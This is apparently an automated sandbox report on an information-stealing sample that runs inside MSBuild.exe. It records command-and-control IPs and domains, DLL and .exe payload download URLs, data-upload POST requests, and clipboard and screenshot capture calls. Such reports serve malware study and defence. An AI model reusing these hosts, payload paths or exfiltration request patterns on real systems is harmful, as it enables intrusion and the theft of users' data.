2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIIDBKJJDGHDHJKEHJDB--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49718 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49724 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: exemplarou.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=3i.xVGqLgyIGbDs5wCT384cX1u3tA.PbhY.QaWLrBQI-1728316834-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: exemplarou.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_00404880

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: exemplarou.sbs

Source: MSBuild.exe, 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll8
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllT
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll.
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll-
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpS
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpY
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpnu
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpootn
Source: MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----GCAKKECAEGDGCBFIJEGHefault-release
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpw
Source: MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109DGDHJEG-data;
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000002.00000002.2787599006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: GCAKKECA.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: GCAKKECA.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GCAKKECA.2.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GCAKKECA.2.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: GCAKKECA.2.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCAKKECA.2.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCAKKECA.2.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/
Source: MSBuild.exe, 0000000A.00000002.2510447311.00000000010AD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.2510447311.000000000109C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/api
Source: MSBuild.exe, 0000000A.00000002.2510447311.000000000109C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exemplarou.sbs/apin
Source: BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://support.mozilla.org
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GCAKKECA.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GCAKKECA.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://www.mozilla.org
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://www.mozilla.org#
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49726 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_00438720 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

10_2_00438720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00419010 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00419010

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CB3B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	2_2_6CB3B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6CB3B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6CADF280

Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A2021	0_2_008A2021
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A729C	0_2_008A729C
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008BD39B	0_2_008BD39B
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008B572C	0_2_008B572C
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008ACAF2	0_2_008ACAF2
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008BBB36	0_2_008BBB36
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008B3C92	0_2_008B3C92
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008A1D79	0_2_008A1D79
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008AFEF0	0_2_008AFEF0
Source: C:\Users\user\Desktop\NdSXVNeoET.exe	Code function: 0_2_008F0F98	0_2_008F0F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAD35A0	2_2_6CAD35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB334A0	2_2_6CB334A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB3C4A0	2_2_6CB3C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE6C80	2_2_6CAE6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB16CF0	2_2_6CB16CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CADD4E0	2_2_6CADD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAE64C0	2_2_6CAE64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CAFD4D0	2_2_6CAFD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB4542B	2_2_6CB4542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB15C10	2_2_6CB15C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB22C10	2_2_6CB22C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB4AC00	2_2_6CB4AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CB4545C	2_2_6CB4545C
